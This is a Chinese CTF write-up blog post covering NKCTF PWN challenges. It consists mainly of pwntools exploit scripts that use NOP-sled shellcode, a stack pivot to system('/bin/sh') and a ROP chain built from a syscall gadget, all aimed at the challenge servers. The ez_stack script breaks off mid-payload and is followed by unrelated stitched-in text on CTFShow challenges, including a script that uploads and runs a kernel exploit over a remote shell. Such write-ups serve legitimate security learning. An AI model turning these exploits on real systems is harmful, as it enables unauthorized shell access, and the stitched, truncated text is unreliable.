NKCTF PWN wp

本文详细介绍了在CTF比赛中解决PWN类问题的经验,涉及ezshellcode、栈迁移、ROP利用、堆溢出和libc地址泄露等技术。通过案例分析,阐述了如何利用缓冲区溢出、格式化字符串漏洞、堆布局操纵等方法实现系统权限提升。

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


ezshellcode

填充nop抵消随机滑行到shellcode

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:
    gdbOpen = 1
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./pwn')
else:
    gdbOpen = 0
    ip = 'node.yuzhian.com.cn'
    port = 38867
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")


debug("b *0x00000000004012F1")
shellcode = p8(0x90) * 104 + asm(shellcraft.sh()) 
p.sendafter("in 5 min!\n", shellcode)

p.interactive()

a_story_of_a_pwner

栈迁移然后刚好够弹一个参数执行system

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
    gdbOpen = 1
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF("./libc.so.6")
    p = process('./pwn')
else:
    gdbOpen = 0
    ip = 'node2.yuzhian.com.cn'
    port = 33627 
    libc = ELF("./libc.so.6")
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
    p.sendlineafter(b"> \n", str(choice).encode('ascii'))

pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139E
debug("b *0x000000000040139F")
choose(4)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x84420
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
choose(1)
p.sendafter(b'comment?\n', p64(binsh))
choose(2)
p.sendafter(b'corment?\n', p64(pop_rdi))
choose(3)
p.sendafter(b'corMenT?\n', p64(sys))
choose(4)
payload = b'a'*0xa + p64(0x0000000000405098) + p64(leave_ret)
p.sendafter(b'heart...\n', payload)

p.interactive()

ez_stack

程序内直接就能找到syscall的gadget,使用其即可,注意的地方就是csu调用的时候是个指针,所以要把这个地址写入bss上才能正常使用

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./ez_stack')
DEBUG = 0
if DEBUG:
    gdbOpen = 1
    libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
    p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    #p = process('./ez_stack')
else:
    gdbOpen = 0
    ip = 'node2.yuzhian.com.cn'
    port = 35211 
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")

pop_rdi = 0x0000000000401283
pop_rsi = 0x0000000000401281 # pop rsi ; pop r15 ; ret
syscall = 0x000000000040114e
csu1 = 0x000000000040127A
csu2 = 0x0000000000401260

debug("b *0x00000000004011F6")
payload = b'a'*0x18 + p64(pop_rsi) + p64(0x4040B0)*2 + p64(syscall)
payload += p64(csu1) 
CTFShow平台PWN题的解题思路和过程在不同题目中有所不同。以CTFSHOW PWN02为例,解题脚本通过`pwn`库进行操作。脚本根据`contect`变量的值来选择是本地运行程序还是远程连接目标服务器。构造了长度为13个字节的`a`字符的`payload`,并拼接上函数地址`0X804850F`,将其发送给目标程序,最后进入交互模式与程序进行交互,可能是通过溢出覆盖返回地址来执行指定函数,以达到解题目的[^1]。 对于CTFShow PWN入门的Kernel PWN 356 - 360相关题目,解题脚本先将本地的`exp`文件内容进行Base64编码,然后分块发送到远程服务器上的`/tmp/b64_exp`文件中。接着将Base64编码的内容解码成可执行文件`/tmp/exploit`,为其添加执行权限,最后执行该文件并进入交互模式。该过程可能是利用内核漏洞,通过上传并执行本地编写的漏洞利用脚本,来获取远程服务器的控制权[^3]。 ### 代码示例 CTFSHOW PWN02解题脚本: ```python from pwn import * contect = 1 def main(): if contect == 0: p = process("./stack") else: p = remote("pwn.challenge.ctf.show", 28103) payload = b'a' * 13 payload += p32(0X804850F) p.sendline(payload) p.interactive() main() ``` CTFShow PWN入门Kernel PWN相关题目的解题脚本: ```python from pwn import * import base64 context.log_level = "debug" with open("./exp", "rb") as f: exp = base64.b64encode(f.read()) p = remote("pwn.challenge.ctf.show", 28304) p.recvuntil(b"$ ") p.sendline(b"ls") count = 0 for i in range(0, len(exp), 0x200): p.recvuntil(b"/ $ ") p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp") count += 1 log.info("count: " + str(count)) p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit") p.sendline("chmod +x /tmp/exploit") p.sendline("/tmp/exploit ") p.interactive() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ShouCheng3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值